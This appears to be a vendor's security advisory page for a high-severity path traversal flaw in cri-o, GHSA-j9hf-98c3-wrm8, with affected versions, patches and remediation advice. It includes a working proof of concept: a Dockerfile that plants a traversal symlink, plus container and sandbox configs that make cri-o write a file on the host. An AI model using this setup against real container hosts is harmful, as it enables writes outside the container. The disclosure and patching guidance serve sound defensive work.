GHSA-j9hf-98c3-wrm8
HIGHGHSA-j9hf-98c3-wrm8 is a high-severity (CVSS 8.1) Path Traversal vulnerability in github.com/cri-o/cri-o. O3 Security confirms whether GHSA-j9hf-98c3-wrm8 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
malicious container creates symlink "mtab" on the host External
Real-World Exposure
github.com/cri-o/cri-o🐹github.com/cri-o/cri-o🐹github.com/cri-o/cri-oReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
will create a file on host /host/mtab
Patches
1.30.1, 1.29.5, 1.28.7
Workarounds
Unfortunately not
References
Are there any links users can visit to find out more?
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/cri-o/cri-o | ≥ 1.28.6&&< 1.28.7 | 1.28.7 |
| 🐹Go | github.com/cri-o/cri-o | ≥ 1.29.4&&< 1.29.5 | 1.29.5 |
| 🐹Go | github.com/cri-o/cri-o | ≥ 1.30.0&&< 1.30.1 | 1.30.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/cri-o/cri-o. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/cri-o/cri-o to 1.28.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j9hf-98c3-wrm8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j9hf-98c3-wrm8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j9hf-98c3-wrm8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j9hf-98c3-wrm8 in your dependencies?
O3 detects GHSA-j9hf-98c3-wrm8 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.